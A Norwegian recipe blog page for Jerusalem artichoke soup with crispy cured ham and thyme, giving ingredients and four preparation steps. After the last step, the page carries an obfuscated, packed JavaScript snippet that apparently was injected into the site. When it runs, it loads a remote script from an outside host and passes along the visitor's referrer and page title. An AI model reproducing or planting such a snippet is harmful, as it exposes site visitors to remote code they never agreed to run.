Jordskokksuppe med crispy spekeskinke og timian

Jordskokksupe

Jordskokksuppe er helt nydelig i smak og med sprøstekt spekeskinke og frisk timian blir dette en suppe i en klasse for seg selv. Trenger ikke å si så mye mer:) Kan anbefales til fest som en forrett eller til middagsmat i hverdagen. Velbekomme!

Ingredienser15-1024x694

Ingredienser

4 pers

400 gr jordskokk

6 skiver spekeskinke

2,5 dl kyllingkraft

1,5 dl kremfløte

ca 4 -5 dl melk

2 sjalottløk

2 fedd hvitløk

1 sitron

timian

smør

olje

salt og pepper

sjalottlk-1024x945

1.Finhakk sjalottløken og hvitløken, fres av i smør og olje i en romselig kjele.

Jordskokk-1024x680

2.Skrell jordskokken og la den surre sammen med løken i ca 10 minutter. Hell over kraft, melk og krmafløte og kok videre til jordskokken er mør, ca 30 minutter.

stavmikser1-1024x680

3.Bruk en stavmikser til du har en jevn og tykk suppekonsistens.

sitron-1024x664

4.Smak av med saften fra en sitron, salt og pepper. Stek skinken sprø og hakk grovt. Pynt på toppen sammen med timianblader. Serveres med et stykke brød til. Fantastiskt godt.

rotsuppe-1024x680

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Write a comment

Your email address will not be published. Required fields are marked *